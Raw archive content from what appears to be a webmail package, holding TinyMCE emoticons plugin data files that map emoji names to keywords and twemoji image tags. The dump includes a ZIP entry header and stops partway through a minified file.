    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf3" src="1f1f9-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  tr: {
    keywords: [ "turkey", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf7" src="1f1f9-1f1f7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  turkmenistan: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddf2" src="1f1f9-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  turks_caicos_islands: {
    keywords: [ "turks", "caicos", "islands", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\udde8" src="1f1f9-1f1e8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  tuvalu: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddf9\ud83c\uddfb" src="1f1f9-1f1fb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  uganda: {
    keywords: [ "ug", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\uddec" src="1f1fa-1f1ec.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  ukraine: {
    keywords: [ "ua", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\udde6" src="1f1fa-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  united_arab_emirates: {
    keywords: [ "united", "arab", "emirates", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udde6\ud83c\uddea" src="1f1e6-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  uk: {
    keywords: [ "united", "kingdom", "great", "britain", "northern", "ireland", "flag", "nation", "country", "banner", "british", "UK", "english", "england", "union jack" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddec\ud83c\udde7" src="1f1ec-1f1e7.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  england: {
    keywords: [ "flag", "english" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f" src="1f3f4-e0067-e0062-e0065-e006e-e0067-e007f.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  scotland: {
    keywords: [ "flag", "scottish" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f" src="1f3f4-e0067-e0062-e0073-e0063-e0074-e007f.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  wales: {
    keywords: [ "flag", "welsh" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f" src="1f3f4-e0067-e0062-e0077-e006c-e0073-e007f.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  us: {
    keywords: [ "united", "states", "america", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\uddf8" src="1f1fa-1f1f8.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  us_virgin_islands: {
    keywords: [ "virgin", "islands", "us", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\uddee" src="1f1fb-1f1ee.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  uruguay: {
    keywords: [ "uy", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\uddfe" src="1f1fa-1f1fe.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  uzbekistan: {
    keywords: [ "uz", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\uddff" src="1f1fa-1f1ff.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  vanuatu: {
    keywords: [ "vu", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\uddfa" src="1f1fb-1f1fa.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  vatican_city: {
    keywords: [ "vatican", "city", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\udde6" src="1f1fb-1f1e6.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  venezuela: {
    keywords: [ "ve", "bolivarian", "republic", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\uddea" src="1f1fb-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  vietnam: {
    keywords: [ "viet", "nam", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfb\ud83c\uddf3" src="1f1fb-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  wallis_futuna: {
    keywords: [ "wallis", "futuna", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfc\ud83c\uddeb" src="1f1fc-1f1eb.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  western_sahara: {
    keywords: [ "western", "sahara", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddea\ud83c\udded" src="1f1ea-1f1ed.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  yemen: {
    keywords: [ "ye", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfe\ud83c\uddea" src="1f1fe-1f1ea.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  zambia: {
    keywords: [ "zm", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddff\ud83c\uddf2" src="1f1ff-1f1f2.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  zimbabwe: {
    keywords: [ "zw", "flag", "nation", "country", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddff\ud83c\uddfc" src="1f1ff-1f1fc.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  united_nations: {
    keywords: [ "un", "flag", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\uddfa\ud83c\uddf3" src="1f1fa-1f1f3.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  },
  pirate_flag: {
    keywords: [ "skull", "crossbones", "flag", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff4\u200d\u2620\ufe0f" src="1f3f4-200d-2620-fe0f.png"/>',
    fitzpatrick_scale: false,
    category: "flags"
  }
});PK
h�\��3��m�m:program/js/tinymce/plugins/emoticons/js/emojiimages.min.jsnu�[���// Source: npm package: emojilib
// Images provided by twemoji: https://github.com/twitter/twemoji
window.tinymce.Resource.add("tinymce.plugins.emoticons",{100:{keywords:["score","perfect","numbers","century","exam","quiz","test","pass","hundred"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcaf" src="1f4af.png"/>',fitzpatrick_scale:!1,category:"symbols"},1234:{keywords:["numbers","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd22" src="1f522.png"/>',fitzpatrick_scale:!1,category:"symbols"},grinning:{keywords:["face","smile","happy","joy",":D","grin"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude00" src="1f600.png"/>',fitzpatrick_scale:!1,category:"people"},grimacing:{keywords:["face","grimace","teeth"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2c" src="1f62c.png"/>',fitzpatrick_scale:!1,category:"people"},grin:{keywords:["face","happy","smile","joy","kawaii"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude01" src="1f601.png"/>',fitzpatrick_scale:!1,category:"people"},joy:{keywords:["face","cry","tears","weep","happy","happytears","haha"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude02" src="1f602.png"/>',fitzpatrick_scale:!1,category:"people"},rofl:{keywords:["face","rolling","floor","laughing","lol","haha"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd23" src="1f923.png"/>',fitzpatrick_scale:!1,category:"people"},partying:{keywords:["face","celebration","woohoo"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd73" src="1f973.png"/>',fitzpatrick_scale:!1,category:"people"},smiley:{keywords:["face","happy","joy","haha",":D",":)","smile","funny"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude03" src="1f603.png"/>',fitzpatrick_scale:!1,category:"people"},smile:{keywords:["face","happy","joy","funny","haha","laugh","like",":D",":)"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude04" src="1f604.png"/>',fitzpatrick_scale:!1,category:"people"},sweat_smile:{keywords:["face","hot","happy","laugh","sweat","smile","relief"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude05" src="1f605.png"/>',fitzpatrick_scale:!1,category:"people"},laughing:{keywords:["happy","joy","lol","satisfied","haha","face","glad","XD","laugh"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude06" src="1f606.png"/>',fitzpatrick_scale:!1,category:"people"},innocent:{keywords:["face","angel","heaven","halo"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude07" src="1f607.png"/>',fitzpatrick_scale:!1,category:"people"},wink:{keywords:["face","happy","mischievous","secret",";)","smile","eye"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude09" src="1f609.png"/>',fitzpatrick_scale:!1,category:"people"},blush:{keywords:["face","smile","happy","flushed","crush","embarrassed","shy","joy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0a" src="1f60a.png"/>',fitzpatrick_scale:!1,category:"people"},slightly_smiling_face:{keywords:["face","smile"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude42" src="1f642.png"/>',fitzpatrick_scale:!1,category:"people"},upside_down_face:{keywords:["face","flipped","silly","smile"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude43" src="1f643.png"/>',fitzpatrick_scale:!1,category:"people"},relaxed:{keywords:["face","blush","massage","happiness"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u263a\ufe0f" src="263a.png"/>',fitzpatrick_scale:!1,category:"people"},yum:{keywords:["happy","joy","tongue","smile","face","silly","yummy","nom","delicious","savouring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0b" src="1f60b.png"/>',fitzpatrick_scale:!1,category:"people"},relieved:{keywords:["face","relaxed","phew","massage","happiness"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0c" src="1f60c.png"/>',fitzpatrick_scale:!1,category:"people"},heart_eyes:{keywords:["face","love","like","affection","valentines","infatuation","crush","heart"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0d" src="1f60d.png"/>',fitzpatrick_scale:!1,category:"people"},smiling_face_with_three_hearts:{keywords:["face","love","like","affection","valentines","infatuation","crush","hearts","adore"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd70" src="1f970.png"/>',fitzpatrick_scale:!1,category:"people"},kissing_heart:{keywords:["face","love","like","affection","valentines","infatuation","kiss"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude18" src="1f618.png"/>',fitzpatrick_scale:!1,category:"people"},kissing:{keywords:["love","like","face","3","valentines","infatuation","kiss"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude17" src="1f617.png"/>',fitzpatrick_scale:!1,category:"people"},kissing_smiling_eyes:{keywords:["face","affection","valentines","infatuation","kiss"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude19" src="1f619.png"/>',fitzpatrick_scale:!1,category:"people"},kissing_closed_eyes:{keywords:["face","love","like","affection","valentines","infatuation","kiss"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1a" src="1f61a.png"/>',fitzpatrick_scale:!1,category:"people"},stuck_out_tongue_winking_eye:{keywords:["face","prank","childish","playful","mischievous","smile","wink","tongue"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1c" src="1f61c.png"/>',fitzpatrick_scale:!1,category:"people"},zany:{keywords:["face","goofy","crazy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2a" src="1f92a.png"/>',fitzpatrick_scale:!1,category:"people"},raised_eyebrow:{keywords:["face","distrust","scepticism","disapproval","disbelief","surprise"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd28" src="1f928.png"/>',fitzpatrick_scale:!1,category:"people"},monocle:{keywords:["face","stuffy","wealthy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd0" src="1f9d0.png"/>',fitzpatrick_scale:!1,category:"people"},stuck_out_tongue_closed_eyes:{keywords:["face","prank","playful","mischievous","smile","tongue"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1d" src="1f61d.png"/>',fitzpatrick_scale:!1,category:"people"},stuck_out_tongue:{keywords:["face","prank","childish","playful","mischievous","smile","tongue"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1b" src="1f61b.png"/>',fitzpatrick_scale:!1,category:"people"},money_mouth_face:{keywords:["face","rich","dollar","money"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd11" src="1f911.png"/>',fitzpatrick_scale:!1,category:"people"},nerd_face:{keywords:["face","nerdy","geek","dork"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd13" src="1f913.png"/>',fitzpatrick_scale:!1,category:"people"},sunglasses:{keywords:["face","cool","smile","summer","beach","sunglass"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0e" src="1f60e.png"/>',fitzpatrick_scale:!1,category:"people"},star_struck:{keywords:["face","smile","starry","eyes","grinning"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd29" src="1f929.png"/>',fitzpatrick_scale:!1,category:"people"},clown_face:{keywords:["face"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd21" src="1f921.png"/>',fitzpatrick_scale:!1,category:"people"},cowboy_hat_face:{keywords:["face","cowgirl","hat"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd20" src="1f920.png"/>',fitzpatrick_scale:!1,category:"people"},hugs:{keywords:["face","smile","hug"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd17" src="1f917.png"/>',fitzpatrick_scale:!1,category:"people"},smirk:{keywords:["face","smile","mean","prank","smug","sarcasm"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude0f" src="1f60f.png"/>',fitzpatrick_scale:!1,category:"people"},no_mouth:{keywords:["face","hellokitty"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude36" src="1f636.png"/>',fitzpatrick_scale:!1,category:"people"},neutral_face:{keywords:["indifference","meh",":|","neutral"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude10" src="1f610.png"/>',fitzpatrick_scale:!1,category:"people"},expressionless:{keywords:["face","indifferent","-_-","meh","deadpan"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude11" src="1f611.png"/>',fitzpatrick_scale:!1,category:"people"},unamused:{keywords:["indifference","bored","straight face","serious","sarcasm","unimpressed","skeptical","dubious","side_eye"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude12" src="1f612.png"/>',fitzpatrick_scale:!1,category:"people"},roll_eyes:{keywords:["face","eyeroll","frustrated"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude44" src="1f644.png"/>',fitzpatrick_scale:!1,category:"people"},thinking:{keywords:["face","hmmm","think","consider"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd14" src="1f914.png"/>',fitzpatrick_scale:!1,category:"people"},lying_face:{keywords:["face","lie","pinocchio"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd25" src="1f925.png"/>',fitzpatrick_scale:!1,category:"people"},hand_over_mouth:{keywords:["face","whoops","shock","surprise"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2d" src="1f92d.png"/>',fitzpatrick_scale:!1,category:"people"},shushing:{keywords:["face","quiet","shhh"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2b" src="1f92b.png"/>',fitzpatrick_scale:!1,category:"people"},symbols_over_mouth:{keywords:["face","swearing","cursing","cussing","profanity","expletive"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2c" src="1f92c.png"/>',fitzpatrick_scale:!1,category:"people"},exploding_head:{keywords:["face","shocked","mind","blown"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd2f" src="1f92f.png"/>',fitzpatrick_scale:!1,category:"people"},flushed:{keywords:["face","blush","shy","flattered"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude33" src="1f633.png"/>',fitzpatrick_scale:!1,category:"people"},disappointed:{keywords:["face","sad","upset","depressed",":("],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1e" src="1f61e.png"/>',fitzpatrick_scale:!1,category:"people"},worried:{keywords:["face","concern","nervous",":("],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude1f" src="1f61f.png"/>',fitzpatrick_scale:!1,category:"people"},angry:{keywords:["mad","face","annoyed","frustrated"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude20" src="1f620.png"/>',fitzpatrick_scale:!1,category:"people"},rage:{keywords:["angry","mad","hate","despise"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude21" src="1f621.png"/>',fitzpatrick_scale:!1,category:"people"},pensive:{keywords:["face","sad","depressed","upset"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude14" src="1f614.png"/>',fitzpatrick_scale:!1,category:"people"},confused:{keywords:["face","indifference","huh","weird","hmmm",":/"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude15" src="1f615.png"/>',fitzpatrick_scale:!1,category:"people"},slightly_frowning_face:{keywords:["face","frowning","disappointed","sad","upset"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude41" src="1f641.png"/>',fitzpatrick_scale:!1,category:"people"},frowning_face:{keywords:["face","sad","upset","frown"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2639" src="2639.png"/>',fitzpatrick_scale:!1,category:"people"},persevere:{keywords:["face","sick","no","upset","oops"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude23" src="1f623.png"/>',fitzpatrick_scale:!1,category:"people"},confounded:{keywords:["face","confused","sick","unwell","oops",":S"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude16" src="1f616.png"/>',fitzpatrick_scale:!1,category:"people"},tired_face:{keywords:["sick","whine","upset","frustrated"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2b" src="1f62b.png"/>',fitzpatrick_scale:!1,category:"people"},weary:{keywords:["face","tired","sleepy","sad","frustrated","upset"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude29" src="1f629.png"/>',fitzpatrick_scale:!1,category:"people"},pleading:{keywords:["face","begging","mercy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd7a" src="1f97a.png"/>',fitzpatrick_scale:!1,category:"people"},triumph:{keywords:["face","gas","phew","proud","pride"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude24" src="1f624.png"/>',fitzpatrick_scale:!1,category:"people"},open_mouth:{keywords:["face","surprise","impressed","wow","whoa",":O"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2e" src="1f62e.png"/>',fitzpatrick_scale:!1,category:"people"},scream:{keywords:["face","munch","scared","omg"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude31" src="1f631.png"/>',fitzpatrick_scale:!1,category:"people"},fearful:{keywords:["face","scared","terrified","nervous","oops","huh"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude28" src="1f628.png"/>',fitzpatrick_scale:!1,category:"people"},cold_sweat:{keywords:["face","nervous","sweat"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude30" src="1f630.png"/>',fitzpatrick_scale:!1,category:"people"},hushed:{keywords:["face","woo","shh"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2f" src="1f62f.png"/>',fitzpatrick_scale:!1,category:"people"},frowning:{keywords:["face","aw","what"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude26" src="1f626.png"/>',fitzpatrick_scale:!1,category:"people"},anguished:{keywords:["face","stunned","nervous"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude27" src="1f627.png"/>',fitzpatrick_scale:!1,category:"people"},cry:{keywords:["face","tears","sad","depressed","upset",":'("],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude22" src="1f622.png"/>',fitzpatrick_scale:!1,category:"people"},disappointed_relieved:{keywords:["face","phew","sweat","nervous"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude25" src="1f625.png"/>',fitzpatrick_scale:!1,category:"people"},drooling_face:{keywords:["face"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd24" src="1f924.png"/>',fitzpatrick_scale:!1,category:"people"},sleepy:{keywords:["face","tired","rest","nap"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude2a" src="1f62a.png"/>',fitzpatrick_scale:!1,category:"people"},sweat:{keywords:["face","hot","sad","tired","exercise"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude13" 